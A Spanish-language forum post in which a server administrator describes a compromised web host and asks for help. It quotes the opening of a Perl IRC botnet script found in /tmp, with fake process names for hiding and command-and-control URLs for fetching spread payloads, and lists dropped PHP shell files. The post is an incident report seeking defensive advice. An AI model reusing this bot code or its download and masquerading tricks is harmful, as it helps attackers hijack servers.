Estoy experimentando un problema de seguridad con un servidor que sucede que administro. Trataré de citar todos los hechos relevantes lo más brevemente posible. Solicito información adicional y un curso de acción a seguir.
El servidor aloja varios sitios web de volumen relativamente bajo y también otros servicios menores. La mayoría de los sitios son Drupal o Joomla, y parecen estar actualizados tanto como puedo decir. Recientemente, se agregó un sitio Magento solo temporalmente, sobre el que volveré más tarde.
Todo comenzó con la observación de un alto promedio de carga, el uso de la CPU en el servidor. Pronto esto se relacionó con los altos tiempos de respuesta.
La ejecución de un netstat reveló un número inusual y relativamente alto de conexiones de una IP específica de un ISP australiano. La mayoría de estas conexiones estaban relacionadas con los procesos de apache, y muchas otras permanecieron en estado SYN sin un pid relativo.
Al principio pensé que esto era una especie de inundación para Apache, así que decidí prohibir la IP del archivo de configuración de Apache (Denegar desde) y matar todos los procesos relevantes, que parecían funcionar durante un tiempo.
Muy pronto me di cuenta de que experimenté exactamente el mismo problema con otra IP de un ISP holandés. Instalé rápidamente mod_evasive y también prohibí la IP. Esto pareció relajar un poco el problema (CPU hasta el 80%).
Pronto recibí un correo electrónico del proveedor del servidor que indica que se está abusando del servidor y me instó a que examinara los sitios en busca de códigos maliciosos. Inmediatamente hice lo siguiente (hasta ahora, esto está en curso):
-
ps faux
,netstat
no reveló nada sospechoso -
chkrootkit
,rkhunter
, el mismo - examiné los archivos de registro de apache comparándolos con las IP conocidas y eso me reveló varios intentos de explotar vulnerabilidades en el sitio de Magento.
- suspendimos la hsoting web para esa cuenta, eliminamos los archivos.
- una investigación más a fondo de todos los directorios en los que apache tiene permisos de escritura reveló que había algunos archivos sospechosos.
- el uso de la CPU se redujo a 0-10%.
Los archivos sospechosos son, bien sospechosos. Había un archivo en particular / tmp/ask
que parecía:
#!/usr/bin/perl
#
###############################################
# Im not living im just killing time
#
#
# radiohead ganja ipays the beatles
#
#
###############################################
use IO::Socket::INET;
#use HTTP::Request;
#use LWP::UserAgent;
##################################################
# Im not living im just killing time
#
#
# radiohead ganja ipays the beatles
##################################################
my @ps = ("/usr/sbin/ateam","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]");
$processo = $ps[rand scalar @ps];
my $linas_max='2';
my $sleep='3';
my $cmd="im.not.living.im.just.killing.time";
my $id="http://www.utama-audio.com/ipays/allnet/id.txt?";
my $spread="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my $spreads="http://www.utama-audio.com/ipays/allnet/gspread.txt?";
my @adms=("AR_GA");
my @canais="#botnet";
# etc etc
Había otro directorio llamado /tmp/.X11-unix
que, por supuesto, es irregular ya que no hay una x en el servidor. En el directorio los siguientes archivos:
tmp/.X11-unix/
tmp/.X11-unix/dorks.txt
tmp/.X11-unix/ipays2.php
tmp/.X11-unix/malink.php
tmp/.X11-unix/act.zip
tmp/.X11-unix/inc.zip
tmp/.X11-unix/ipays.phtml
tmp/.X11-unix/ipays.php
tmp/.X11-unix/ipays3.php
tmp/.X11-unix/ext.zip
tmp/.X11-unix/ipays.gif
Después de todo eso, otras investigaciones con netstat, ps, manipulación de archivos ejecutables, debsums, chkrootkit y rkhunter son todas negativas.
Aparte de esta observación muy extraña (detalles legítimos reemplazados con xxx):
wtower@xxx~$ sudo netstat -natp | grep sshd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 6680/sshd
tcp 0 0 xx.xxx.xx.xxx:22 43.229.52.15:49460 ESTABLISHED 3382/sshd: root [pr
tcp 0 48 xx.xxx.xx.xxx:22 x.xx.xx.xx:44319 ESTABLISHED 7441/sshd: wtower [
tcp6 0 0 :::22 :::* LISTEN 6680/sshd
wtower@xxx:~$ sudo netstat -natp | grep sshd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 6680/sshd
tcp 0 848 xx.xxx.xx.xxx:22 43.229.52.15:39686 ESTABLISHED 3390/sshd: [accepte
tcp 0 0 xx.xxx.xx.xxx:22 x.xx.xx.xx:44319 ESTABLISHED 7441/sshd: wtower [
tcp6 0 0 :::22 :::* LISTEN 6680/sshd
wtower@xxx:~$ sudo netstat -natp | grep sshd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 6680/sshd
tcp 0 0 xx.xxx.xx.xxx:22 43.229.52.15:39686 ESTABLISHED 3390/sshd: root [pr
tcp 0 0 xx.xxx.xx.xxx:22 x.xx.xx.xx:44319 ESTABLISHED 7441/sshd: wtower [
tcp6 0 0 :::22 :::* LISTEN 6680/sshd
Puede observar que una conexión ssh como root desde 43.229.52.15 (Japón) está cambiando constantemente pids, como root. w
no muestra nada. Estoy tan abatido y comprometido.
Posiblemente todos los anteriores no están conectados, pero no tengo idea. Cualquier ayuda es muy apreciada.